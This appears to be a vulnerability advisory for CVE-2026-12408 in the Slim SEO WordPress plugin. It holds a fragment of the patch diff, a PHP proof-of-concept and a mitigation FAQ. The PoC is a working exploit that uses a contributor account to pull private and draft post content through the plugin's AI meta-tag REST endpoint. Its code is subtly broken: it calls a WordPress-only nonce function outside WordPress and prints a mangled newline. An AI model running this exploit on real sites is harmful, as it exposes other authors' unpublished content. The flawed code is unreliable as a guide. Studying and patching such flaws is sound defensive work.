 			<option value="anthropic" <?php selected( $data['ai_provider'] ?? '', 'anthropic' ); ?>><?php esc_html_e( 'Anthropic (Claude)', 'slim-seo' ); ?></option>
 			<option value="openrouter" <?php selected( $data['ai_provider'] ?? '', 'openrouter' ); ?>><?php esc_html_e( 'OpenRouter', 'slim-seo' ); ?></option>
 		</select>
-		<select name="slim_seo[ai_model]" id="ss-ai-model">
-			<option value=""><?php esc_html_e( 'Select a provider first', 'slim-seo' ); ?></option>
-		</select>
+		<input type="text" name="slim_seo[ai_model]" id="ss-ai-model" list="ss-ai-model-list" value="<?php echo esc_attr( $data['ai_model'] ?? '' ); ?>" placeholder="<?php esc_attr_e( 'Select or enter a model name', 'slim-seo' ); ?>" autocomplete="off" />
+		<datalist id="ss-ai-model-list"></datalist>
 	</div>
 </div>
 <div class="ef-control">
--- a/slim-seo/src/Sitemaps/PostType.php
+++ b/slim-seo/src/Sitemaps/PostType.php
@@ -27,7 +27,7 @@
 			'update_post_term_cache' => false,

 			'order'                  => 'DESC',
-			'orderyby'               => 'date',
+			'orderby'                => 'date',

 			// Set 1000 to compatible with News sitemap structure.
 			'posts_per_page'         => 1000, // @codingStandardsIgnoreLine.
--- a/slim-seo/vendor/composer/installed.php
+++ b/slim-seo/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'elightup/slim-seo',
-        'pretty_version' => '4.9.8',
-        'version' => '4.9.8.0',
-        'reference' => '37759ee0a41804989a5f82b5878750087dbd5cab',
+        'pretty_version' => '4.9.9',
+        'version' => '4.9.9.0',
+        'reference' => '589f32beb9829564a6cc2565351d42de9beda73f',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'elightup/slim-seo' => array(
-            'pretty_version' => '4.9.8',
-            'version' => '4.9.8.0',
-            'reference' => '37759ee0a41804989a5f82b5878750087dbd5cab',
+            'pretty_version' => '4.9.9',
+            'version' => '4.9.9.0',
+            'reference' => '589f32beb9829564a6cc2565351d42de9beda73f',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12408 - Slim SEO <= 4.9.8 - Authenticated (Contributor+) Private Content Disclosure

$target_url = 'https://example.com'; // Change to target WordPress site
$username = 'contributor_user';      // Change to contributor-level username
$password = 'contributor_pass';      // Change to contributor-level password
$target_post_id = 1;                 // Change to target post ID (private/draft)

// Step 1: Authenticate and get WordPress nonce
$login_url = $target_url . '/wp-json/jwt-auth/v1/token'; // or use wp-login.php for cookie auth
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'username' => $username,
    'password' => $password
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$login_response = curl_exec($ch);
$login_data = json_decode($login_response, true);
$token = $login_data['token'] ?? '';

// Step 2: Use the REST API endpoint to generate AI meta tags for the target post
$api_endpoint = $target_url . '/wp-json/slim-seo/meta-tags/ai';
$payload = json_encode([
    'object' => [
        'type' => 'post',
        'ID' => $target_post_id
    ],
    'type' => 'title'
]);

curl_setopt($ch, CURLOPT_URL, $api_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Authorization: Bearer ' . $token,
    'Content-Type: application/json',
    'X-WP-Nonce: ' . wp_create_nonce('wp_rest') // fallback nonce if cookie auth
]);
$api_response = curl_exec($ch);

// Step 3: Parse and display the response (contains AI-generated summary of private content)
$response_data = json_decode($api_response, true);
echo "Response from endpoint:n";
print_r($response_data);

curl_close($ch);

Frequently Asked Questions

What is CVE-2026-12408?
Vulnerability overview
CVE-2026-12408 is a medium-severity vulnerability in the Slim SEO plugin for WordPress, versions up to and including 4.9.8. It allows authenticated users with Contributor-level access or higher to read the content of private, draft, pending, future, and password-protected posts via the plugin’s REST API endpoint.
How does the vulnerability work?
Technical mechanism
The vulnerability exists in the `/wp-json/slim-seo/meta-tags/ai` REST API endpoint. The permission callback only checks if the user has the `edit_posts` capability, but does not verify that the user can access the specific post supplied via the `object.ID` parameter. The endpoint then passes the post ID to `get_post()` without checking post status or ownership, returning an AI-generated summary that discloses the post content.
Who is affected by this vulnerability?
Affected users and sites
Any WordPress site running Slim SEO version 4.9.8 or earlier is affected if it has authenticated users with Contributor, Author, Editor, or Administrator roles. Sites with only Subscriber-level users are not directly exploitable, but any user with `edit_posts` capability can exploit it.
How can I check if my site is vulnerable?
Detection steps
Check the Slim SEO plugin version in the WordPress admin dashboard under Plugins. If the version is 4.9.8 or lower, your site is vulnerable. You can also verify by reviewing the file `slim-seo/src/MetaTags/AI.php` for the permission callback that only checks `current_user_can( ‘edit_posts’ )`.
What is the CVSS score and severity?
Risk assessment
The vulnerability has a CVSS score of 4.3, which is classified as Medium severity. This reflects the requirement for authentication (Contributor+), but the potential for unauthorized disclosure of private content across multiple posts increases the practical risk.
What type of content can be disclosed?
Exposed data
An attacker can retrieve AI-generated summaries of the raw `post_content` from any post, including private posts, drafts, pending reviews, scheduled posts, and password-protected content authored by other users. The full content is effectively disclosed in the HTTP response.
How do I fix this vulnerability?
Patch and update
Update the Slim SEO plugin to version 4.9.9 or later. The patch adds a proper capability check using `current_user_can( ‘edit_post’, $post_id )` to verify the user has access to the specific post, and hides the endpoint from REST API discovery.
What if I cannot update the plugin immediately?
Temporary mitigation
As a temporary workaround, you can disable the Slim SEO plugin or restrict access to the REST API endpoint by adding custom code to block requests to `/wp-json/slim-seo/meta-tags/ai` for non-admin users. However, updating to the patched version is the recommended solution.
How does the proof of concept demonstrate the issue?
PoC explanation
The proof of concept authenticates as a Contributor-level user, then sends a POST request to the vulnerable endpoint with a JSON payload containing the target post ID. The response includes an AI-generated summary that reveals the content of private or draft posts, confirming unauthorized access.
What is the root cause in the code?
Code analysis
The root cause is in `slim-seo/src/MetaTags/AI.php` where the `permission_callback` only checks `current_user_can( ‘edit_posts’ )` without verifying the specific post ID. The `generate` function then passes the attacker-controlled ID to `Data::get_post_content()`, which calls `get_post()` without any access control.
Does this vulnerability affect other Slim SEO features?
Scope of impact
No, this vulnerability is limited to the AI meta tags generation endpoint. Other Slim SEO features are not affected. The patch specifically addresses the missing authorization check in the AI endpoint.
What should I do if I suspect my site was exploited?
Incident response
If you suspect exploitation, immediately update the plugin to version 4.9.9, review server logs for unusual requests to `/wp-json/slim-seo/meta-tags/ai`, and check for unauthorized access to private posts. Consider rotating user credentials and auditing user roles for unnecessary Contributor+ accounts.

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